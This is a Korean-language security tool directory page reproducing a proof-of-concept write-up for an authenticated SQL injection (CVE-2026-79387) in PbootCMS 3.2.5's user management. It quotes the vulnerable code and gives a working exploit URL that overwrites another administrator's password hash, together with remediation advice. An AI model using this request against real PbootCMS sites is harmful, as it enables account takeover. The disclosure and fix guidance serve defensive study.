Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/jhli07/cve-2026-79387-pbootcms-sql-injection
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubjhli07/cve-2026-79387-pbootcms-sql-injection

CVE-2026-79387-PbootCMS-SQL-Injection

CVE-2026-79387에 대한 개념 증명(PoC)으로, PbootCMS 사용자 관리에서 발생하는 인증된 SQL 인젝션으로 임의 필드 업데이트 및 계정 탈취가 가능합니다.

저장소 보기
10시간 20분 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-79387: PbootCMS V3.2.5 사용자 관리 모듈의 SQL 인젝션

개요

필드세부 정보
CVE IDCVE-2026-79387
제품PbootCMS
영향을 받는 버전3.2.0 – 3.2.5 및 이전 버전 가능성 있음
취약점 유형SQL 인젝션 (CWE-89)
공격 경로원격 (인증됨)
CVSS 심각도높음
발견자JihaoLi
공급업체https://www.pbootcms.com/

취약점 설명

PbootCMS V3.2.5의 사용자 관리 모듈에 SQL 인젝션 취약점이 존재합니다. 이 취약점은 /apps/admin/controller/system/UserController.php(149행)의 mod() 메서드와 /apps/admin/model/system/UserModel.php의 modUser() 메서드에 있습니다.

field 매개변수는 화이트리스트 검증 없이 GET 요청을 통해 완전히 사용자에 의해 제어됩니다. value 매개변수도 동일하게 사용자에 의해 제어되며 SQL UPDATE 문에 직접 연결됩니다. 인증된 공격자는 field로 임의의 데이터베이스 열(예: password, username, status, role)을 지정하여 임의의 데이터 조작이 가능합니다.

근본 원인

root@kitploit:~
// UserController.php - mod() 메서드
if (($field = get('field', 'var')) && ! is_null($value = get('value', 'var'))) {
    if ($this->model->modUser($ucode, "$field='$value',update_user='" . session('username') . "'")) {
        location(- 1);
    }
}

$field와 $value는 $_GET 슈퍼글로벌에서 직접 가져와 샌드박스 처리, 화이트리스트, 매개변수화된 쿼리 없이 SQL 문자열에 연결됩니다. 이 문자열은 UserModel::modUser()에 전달되며, 이는 기본 Model::update() 메서드로 전달됩니다. 인수가 문자열(배열이 아님)이므로 checkKey() 필드 이름 검증을 우회하고 SET 절에 그대로 포함됩니다:

root@kitploit:~
UPDATE ay_user SET <사용자 제어>= '<사용자 제어>', update_user='admin' WHERE ucode='<ucode>'

호출 체인

root@kitploit:~
GET /admin.php?p=/User/mod&ucode=10002&field=password&value=<MD5>
  → UserController::mod()
    → UserModel::modUser($ucode, "password='<value>',update_user='admin'")
      → Model::table('ay_user')->where("ucode='$ucode'")->update($data_string)
        → SQL: UPDATE ay_user SET password='<value>',update_user='admin' WHERE ucode='10002'

영향

인증된 공격자는 다음을 수행할 수 있습니다:

  1. 모든 사용자의 비밀번호 변경 — 슈퍼 관리자 포함(내장 설립자 ucode=10001 제외).
  2. 계정 상태 변경 — 임의 계정 활성화 또는 비활성화.
  3. 더 깊은 SQL 인젝션 — value 매개변수는 작은따옴표 이스케이프를 허용하여 스택 기반 또는 항상 참(tautology) 기반 공격을 가능하게 합니다.

이는 계정 탈취 및 CMS 백엔드의 완전한 제어로 이어집니다.

재현 단계

사전 요구 사항

  • 로컬에 설치된 PbootCMS V3.2.5(192.168.1.104, Apache/PHP 7.2.1/SQLite에서 테스트됨)
  • 유효한 백엔드 관리자 계정

1단계: 관리자 패널에 로그인

PbootCMS 관리자 대시보드에 접속하여 기본 admin 계정으로 로그인합니다.

관리자 대시보드

2단계: 대상 사용자 생성

시스템 관리 → 사용자 관리 → 사용자 추가로 이동합니다. 새 사용자를 생성합니다:

  • 사용자 이름: admin2
  • 비밀번호: admin
  • 역할: 시스템 관리자

사용자 생성

3단계: 사용자 존재 확인

사용자 목록에서 ucode=10002인 admin2를 확인합니다:

사용자 목록

4단계: 초기 비밀번호 확인

새 브라우저 창을 엽니다. admin2로 비밀번호 123456을 사용하여 로그인을 시도합니다 — 실제 비밀번호가 admin이므로 실패합니다:

로그인 실패

5단계: 페이로드 제작 및 실행

이미 로그인된 관리자 브라우저를 사용하여 다음으로 이동합니다:

root@kitploit:~
http://192.168.1.104/PbootCMS/admin.php?p=/User/mod&ucode=10002&field=password&value=14e1b600b1fd579f47433b88e8d85291

14e1b600b1fd579f47433b88e8d85291는 123456의 MD5 해시입니다.

mod() 메서드는 인젝션을 실행하고 location(-1)을 통해 리디렉션합니다:

페이로드 실행 - 찾을 수 없음

6단계: 비밀번호 변경 확인

이제 admin2 / 123456으로 로그인을 시도합니다:

로그인 성공

SQL 인젝션을 통해 비밀번호가 성공적으로 변경되었습니다. 사용자는 이제 새 비밀번호로 로그인되어 완전한 계정 탈취를 확인합니다.

소스 코드 분석

취약한 코드 (UserController.php, ~149행)

소스 코드

데이터베이스 계층 (Model.php - update 메서드)

update()가 문자열 인수를 받으면 이스케이프 없이 SET 절에 그대로 사용됩니다:

root@kitploit:~
final public function update($data = null)
{
    if (is_array($data)) {
        // 배열 경로: checkKey()가 필드 이름 검증
        ...
    } else {
        // 문자열 경로: 검증 전혀 없음
        $update_string = $data;
    }
    $this->sql['value'] = $update_string;
    $sql = $this->buildSql($this->updateSql);
    return $this->getDb()->amd($sql);  // 직접 실행, 준비된 문 없음
}

수정 방안

  1. field 매개변수에 대한 화이트리스트 검증 — 알려진 열 이름(status, username, realname, password)만 허용.
  2. 매개변수화된 쿼리 — 문자열 연결 대신 준비된 문 사용.
  3. 사용자 입력 이스케이프 — 최소한 $value를 샌드박스 처리하여 따옴표 탈출 방지.
  4. 비밀번호 해싱 강제 — field가 password인 경우 저장 전에 값에 encrypt_string() 적용.
  5. 단독 수정 경로 제한 — mod()의 "단일 필드 수정" 분기는 유효한 CSRF 토큰과 역할 수준 권한 검사가 필요.

참고 자료

  • PbootCMS 공식 웹사이트
  • Gitee의 PbootCMS 소스
  • CVE-2026-79387

공개: 이 취약점은 공급업체에 책임 있게 공개되었습니다. 영향을 받는 버전을 실행 중인 경우 즉시 업데이트하고 모든 백엔드 계정을 감사하십시오.

도구 다운로드